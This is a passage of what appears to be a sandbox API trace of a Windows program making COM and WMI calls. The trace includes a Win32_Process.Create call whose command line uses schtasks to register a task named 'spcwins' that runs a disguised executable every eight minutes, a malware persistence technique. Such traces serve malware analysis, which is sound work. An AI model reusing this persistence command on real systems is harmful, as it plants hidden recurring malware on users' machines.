[2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0129.036] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb83960, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0ad10) returned 0x0 [0129.036] WbemDefPath:IUnknown:Release (This=0x1bb83960) returned 0x0 [0129.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0ad10) returned 0x0 [0129.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0129.037] WbemDefPath:IUnknown:AddRef (This=0x1aa0ad10) returned 0x3 [0129.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0129.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0129.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb839a0) returned 0x0 [0129.037] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb839a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.037] WbemDefPath:IUnknown:Release (This=0x1bb839a0) returned 0x3 [0129.037] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0129.037] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0129.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0129.037] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x2 [0129.037] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x1 [0129.037] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0129.037] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0129.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0ad10) returned 0x0 [0129.037] WbemDefPath:IUnknown:AddRef (This=0x1aa0ad10) returned 0x3 [0129.037] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x2 [0129.037] WbemDefPath:IWbemPath:SetText (This=0x1aa0ad10, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0129.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ac50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0129.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ad10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0129.037] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0129.037] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0129.038] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0ac50) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ad10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0ad10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0ad10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0129.038] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0ac50, uIndex=0x0, pszName="root") returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0ad10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0ad10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0129.038] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0ac50, uIndex=0x1, pszName="cimv2") returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0ad10, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0ad10, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0ac50, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0ac50, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0ac50, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ac50, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ac50, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ac50, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ac50, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0129.038] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ac50, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0129.039] IWbemServices:GetObject (in: This=0x1bb805a0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb90ab0, ppCallResult=0x0) returned 0x0 [0129.043] IWbemClassObject:GetMethod (in: This=0x1bb90ab0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb90e20, ppOutSignature=0x1bb7e690*=0x1bb91190) returned 0x0 [0129.043] IWbemClassObject:SpawnInstance (in: This=0x1bb90e20, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bb955a0) returned 0x0 [0129.044] IWbemClassObject:Get (in: This=0x1bb955a0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b7928*=0, plFlavor=0x27b792c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b7928*=8, plFlavor=0x27b792c*=32) returned 0x0 [0129.044] IWbemClassObject:Get (in: This=0x1bb955a0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b7928*=8, plFlavor=0x27b792c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b7928*=8, plFlavor=0x27b792c*=32) returned 0x0 [0129.044] IWbemClassObject:Put (This=0x1bb955a0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"spcwins\" /sc MINUTE /mo 8 /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0129.044] IWbemClassObject:Get (in: This=0x1bb955a0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b79b8*=0, plFlavor=0x27b79bc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b79b8*=13, plFlavor=0x27b79bc*=32) returned 0x0 [0129.044] IWbemClassObject:Get (in: This=0x1bb955a0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b79b8*=13, plFlavor=0x27b79bc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b79b8*=13, plFlavor=0x27b79bc*=32) returned 0x0 [0129.045] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb82fc0) returned 0x0 [0129.045] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0129.045] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0129.045] IUnknown:AddRef (This=0x1bb82fc0) returned 0x3 [0129.045] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0129.045] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0129.045] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb82fc8) returned 0x0 [0129.045] IMarshal:GetUnmarshalClass (in: This=0x1bb82fc8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0129.045] IUnknown:Release (This=0x1bb82fc8) returned 0x3 [0129.045] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0129.045] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0129.046] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0129.046] IUnknown:Release (This=0x1bb82fc0) returned 0x2 [0129.046] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0129.046] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0129.046] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0129.046] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0129.046] IUnknown:QueryInterface (in: This=0x1bb82fc0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0129.046] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0129.046] IUnknown:AddRef (This=0x1bb82fc0) returned 0x3 [0129.046] IWbemClassObject:Put (This=0x1bb955a0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb82fc0, varVal2=0x0), Type=0) returned 0x0 [0129.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a950, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0129.046] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a950, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0129.046] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a950, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0129.046] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0129.046] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.046] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a950, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0129.046] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a950, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0129.047] IWbemServices:ExecMethod (in: This=0x1bb805a0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bb955a0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bb970e0, ppCallResult=0x0) returned 0x0 [0129.274] IWbemClassObject:Get (in: This=0x1bb970e0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b7cd0*=0, plFlavor=0x27b7cd4*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xec8, varVal2=0x0), pType=0x27b7cd0*=19, plFlavor=0x27b7cd4*=0) returned 0x0 [0129.275] IWbemClassObject:Get (in: This=0x1bb970e0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b7cd0*=19, plFlavor=0x27b7cd4*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xec8, varVal2=0x0), pType=0x27b7cd0*=19, plFlavor=0x27b7cd4*=0) returned 0x0 [0129.277] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0129.277] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0129.278] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0129.278] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.281] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb8b2c0) returned 0x0 [0129.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b2c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0129.282] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b2c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0add0) returned 0x0 [0129.282] WbemDefPath:IUnknown:Release (This=0x1bb8b2c0) returned 0x0 [0129.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0add0) returned 0x0 [0129.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0129.282] WbemDefPath:IUnknown:AddRef (This=0x1aa0add0) returned 0x3 [0129.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0129.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0129.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb8b300) returned 0x0 [0129.283] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b300, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.283] WbemDefPath:IUnknown:Release (This=0x1bb8b300) returned 0x3 [0129.283] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0129.283] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0129.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0129.284] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x2 [0129.284] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x1 [0129.284] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0129.284] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0129.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0add0) returned 0x0 [0129.284] WbemDefPath:IUnknown:AddRef (This=0x1aa0add0) returned 